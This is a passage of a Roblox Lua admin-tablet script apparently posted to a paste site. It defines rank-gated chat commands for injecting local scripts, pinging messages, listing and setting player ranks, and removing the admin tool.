  2504. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2505. local LocalSource = Msg:sub(Split + 1)
  2506. if #PlrTab > 0 then
  2507. for _,v in pairs(PlrTab) do
  2508. local Inserted = LS:Clone()
  2509. Inserted.Disabled = true
  2510. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2511. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2512. Inserted:findFirstChild(OwnSource).Value = v.Name
  2513. end
  2514. Inserted[LSSource].Value = LocalSource
  2515. Inserted.Disabled = false
  2516. end
  2517. end
  2518. else
  2519. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2520. end
  2521. end)
  2522.  
  2523. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2524. Msg = tostring(Msg)
  2525. Ping(Msg, Speaker)
  2526. end)
  2527.  
  2528. Command("shows", 1, "Show the script stuff", function(Msg, Speaker)
  2529. Dismiss(Speaker)
  2530. for i,v in pairs(getfenv(1)) do
  2531. ypcall(function()
  2532. Ping(tostring(i)..": "..tostring(v), Speaker)
  2533. end)
  2534. end
  2535. end)
  2536.  
  2537. Command('GetR', 0, 'Shows all players in ranking table',
  2538. function(Msg,Speaker)
  2539. for _,v in pairs(Rankings) do
  2540. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2541. end
  2542. end)
  2543.  
  2544.  
  2545. Command("Setr", 5, "Ranks A Player", function(Msg, Speaker)
  2546. local Split = GetSplit(Msg)
  2547. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2548. local Rank = tonumber(Msg:sub(Split + 1))
  2549. if #PlrTab > 0 then
  2550. for _,v in pairs(PlrTab) do
  2551. if v.Name ~= Owner then
  2552. ChangeRank(v, Rank)
  2553. Ping(v.Name.." is now rank "..tostring(Rank), Speaker, 5)
  2554. end
  2555. end
  2556. end
  2557. end)
  2558.  
  2559. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2560. Dismiss()
  2561. Ping('Remove Kaj Tablets? <lol click me>',Speaker,5,function()
  2562. Dismiss()
  2563. Removed = true
  2564. for i,v in pairs(getfenv(1)) do
  2565. getfenv(1)[i] = nil
  2566. end
  2567. script.Disabled = true
  2568. end)
  2569. end)
  2570.  
  2571. Tables
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement